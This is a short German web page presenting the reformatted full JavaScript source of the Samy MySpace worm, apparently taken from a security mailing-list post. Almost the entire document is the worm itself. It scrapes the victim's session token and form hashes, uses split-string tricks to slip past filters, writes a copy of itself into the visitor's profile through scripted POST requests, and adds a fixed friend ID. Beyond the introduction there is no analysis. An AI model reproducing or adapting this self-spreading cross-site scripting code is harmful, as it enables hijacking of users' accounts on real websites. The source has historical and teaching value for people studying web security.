Der formatierte Quelltext von Samy, dem MySpace-Wurm

Die folgende, formatierte Version des samy-Virus basiert auf einer Mail von Antonio Fontes auf der Mailingliste 'Web Application Security' von securityfocus.com.

// die Quote-Zeichen:
var B = String.fromCharCode(34);  // "
var A = String.fromCharCode(39);  // '

function g()
{
    var C;
    try
    {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e)
    {
    }
     
    if (C)
    { 
        return C
    }
    else
    {
        return eval('document.body.inne'+'rHTML')
    }
}


function getData(AU)
{
    M = getFromURL(AU,'friendID');
    L = getFromURL(AU,'Mytoken')
}


function getQueryParams()
{
    var E  = document.location.search;
    var F  = E.substring(1,E.length).split('&');
    var AS = new Array();
    for (var O = 0; O < F.length; O++)
    {
        var I = F[O].split('=');
        AS[I[0]] = I[1]
    }
    return AS
}


var J;
var AS = getQueryParams();
var L  = AS['Mytoken'];
var M  = AS['friendID'];

if (location.hostname == 'profile.myspace.com')
{
    document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
    if (!M)
     {
          getData(g())
     }
     main()
}


function getClientFID()
{
    return findIn(g(),'up_launchIC( '+A,A)
}


function nothing()
{
}


function paramsToString(AV)
{
    var N = new String();
    var O = 0;
    for (var P in AV)
    {
        if (O > 0)
        {
            N+='&'
        }
        var Q = escape(AV[P]);
        
        while (Q.indexOf('+') != -1)
        {
            Q = Q.replace('+','%2B')
        }
        
        while (Q.indexOf('&') != -1)
        {
            Q = Q.replace('&','%26')
         }

        N+=P+'='+Q;
        O++
    }
    return N
}


function httpSend(BH,BI,BJ,BK)
{
    if (!J)
    {
        return false
    }
    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);
    if (BJ == 'POST')
    {
        J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        J.setRequestHeader('Content-Length',BK.length)
    }
     J.send(BK);
     return true
}


function findIn(BF,BB,BC)
{
    var R = BF.indexOf(BB)+BB.length;
    var S = BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
}


function getHiddenParameter(BF,BG)
{
    return findIn(BF,'name='+B+BG+B+' value='+B,B)  
}


function getFromURL(BF,BG)
{
    var T;
    if (BG == 'Mytoken')
    {
         T = B
    }
    else
    {
        T = '&'
    }
    var U = BG+'=';
    var V = BF.indexOf(U)+U.length;
    var W = BF.substring(V,V+1024);
    var X = W.indexOf(T);
    var Y = W.substring(0,X);
    return Y
}


function getXMLObj()
{
    var Z = false;
    if (window.XMLHttpRequest)
    {
        try
        {
            Z = new XMLHttpRequest()
        }
        catch(e)
        {
            Z = false
        }
    }
    else if (window.ActiveXObject)
    {
        try
        {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        }
        catch(e)
        {
            try
            {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            }
            catch(e)
            {
                Z = false
            }
        }
    }
    return Z
}


var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;

if (AE)
{
    AE = AE.replace('jav'+'a',A+'jav'+'a');
    AE = AE.replace('exp'+'r)','exp'+'r)'+A);
    AF = ' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}

var AG;


function getHome()
{
    if (J.readyState != 4)
    {
        return
    }
 
    var AU = J.responseText;
    AG = findIn(AU,'P'+'rofileHeroes','</td>');
    AG = AG.substring(61,AG.length);
 
    if (AG.indexOf('samy') == -1)
    {
        if (AF)
        {
            AG+=AF;
            var AR = getFromURL(AU,'Mytoken');
            var AS = new Array();
            AS['interestLabel'] = 'heroes';
            AS['submit']        = 'Preview';
            AS['interest']      = AG;
            J = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
        }
    }
}


function postHero()
{
    if (J.readyState != 4)
    {
        return
    }
 
    var AU = J.responseText;
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit']        = 'Submit';
    AS['interest']      = AG;
    AS['hash']          = getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}


function main()
{
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J = getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}


function processxForm()
{
    if (xmlhttp2.readyState != 4)
    {
        return
    }
 
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU,'hashcode');
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit']   = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}


function httpSend2(BH,BI,BJ,BK)
{
    if (!xmlhttp2)
    {
        return false
    }
 
    eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
 
    if (BJ == 'POST')
    {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',BK.length)
    }
 
    xmlhttp2.send(BK);
    return true
}